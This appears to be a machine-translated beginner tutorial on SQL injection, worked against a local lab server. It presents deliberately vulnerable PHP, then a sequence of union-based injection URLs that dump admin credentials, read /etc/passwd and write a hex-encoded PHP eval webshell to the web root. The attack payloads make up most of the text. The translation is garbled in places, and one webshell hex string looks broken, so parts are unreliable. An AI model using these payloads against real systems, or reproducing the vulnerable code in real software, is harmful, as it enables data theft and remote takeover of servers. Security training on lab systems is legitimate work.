SQL injection of Code audits

Overview, approximate classification

PS: Simple Error injection

0x00 Environment Kali LAMP

0x01 Core Code

The main reason for injection now is that the programmer writes the SQL statement through the most original statement stitching, and the SQL statement has select, Insert, update and delete four types, injection is also the concatenation of the four basic operations produced. Next, I will take select as an example to guide beginners to understand SQL injection. Select is a query operation for a database, so it is common to see and search these places like articles, and the defect codes are as follows:

<?php
$conn=mysql_connect(' localhost ', ' root ', ' root ') or die(' bad! ');
mysql_query("SET NAMES binary");
mysql_select_db(' Test ',$conn) OR emmsg ("Database connection failed");
//here ID does not do shaping conversion
$id=isset($_get[' ID ']) ?$_get[' ID ']: 1;
//SQL statements do not have single-quote protection, resulting in injection
$sql= "SELECT * FROM News WHERE id={$id}";
$result=mysql_query($sql,$conn) or die(Mysql_error());
?>

Database content

0x02 Injection Testing

1. Normal access

http://192.168.192.128/sqltest/news.php

Http://192.168.192.128/sqltest/news.php?id=1 http://192.168.192.128/sqltest/news.php?id=2

...

2. Number of test fields

Ps:3 Normal, 4 error, stating there are three fields

Http://192.168.192.128/sqltest/news.php?id=1 and 1=2 ORDER by 3

Http://192.168.192.128/sqltest/news.php?id=1 and 1=2 ORDER by 4

3. Test echo Field

ps:2,3 all Echo, description is echo field

Http://192.168.192.128/sqltest/news.php?id=-1 Union Select-A-

For example, test the user () function in the 3 field

4. Querying all tables under the current library

192.168.192.128/sqltest/news.php?id=-1 Union SELECT 1,2,GROUP_CONCAT (table_name) from Information_schema.tables where Table_schema=database ()

5. Field names in the test table

Hexadecimal 61646d696e of the ps:admin; News Hex 6e657773

192.168.192.128/sqltest/news.php?id=-1 Union Select 1,2,group_concat (column_name) from Information_schema.columns where table_name=0x61646d696e

6. Query the user name password under the admin table

192.168.192.128/sqltest/news.php?id=-1 Union Select 1,2,group_concat (name,0x23,pass) from admin

7. Read the Linux system files (/etc/passwd, need to convert to 16 binary)

PS: Sufficient permissions

192.168.192.128/sqltest/news.php?id=-1 Union Select 1,2,load_file (0x2f6574632f706173737764)

8. Write the shell if you have sufficient permissions

192.168.192.128/sqltest/news.php?id=-1 Union Select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into OutFile '/var/www/html/1.php '--
If the permissions are insufficient, change the directory
Phpinfo page
192.168.192.128/sqltest/news.php?id=-1 Union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile '/var/ Www/html/sqltest/3.php '--
Write a Webshell (note that the 16 binary conversion is a statement)
192.168.192.128/sqltest/news.php?id=-1 Union Select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into OutFile '/var/www/html/sqltest/5.php '--

Execution complete without error

In addition, the files that are injected into the file may not be deleted by root and need to be resolved with chattr. (may be encountered in attack and defense competitions)

Reference:

Http://mp.weixin.qq.com/s?src=3&timestamp=1469346783&ver=1&signature= jfsk7nvvnj9r0jhq1j-kxdp159o764mhq8guzfvppdajpphszefyqhjfvvdwchcjy* Pfagy4pe2kbkvji4-x6khovcmwcubqcpdz7w3fmrbzorgsfoc2zcxeanao2no3trtjokl9h-s-ylq7kqwxvx7ccecejw6rdqawtwcnemi=

SQL injection of Code audits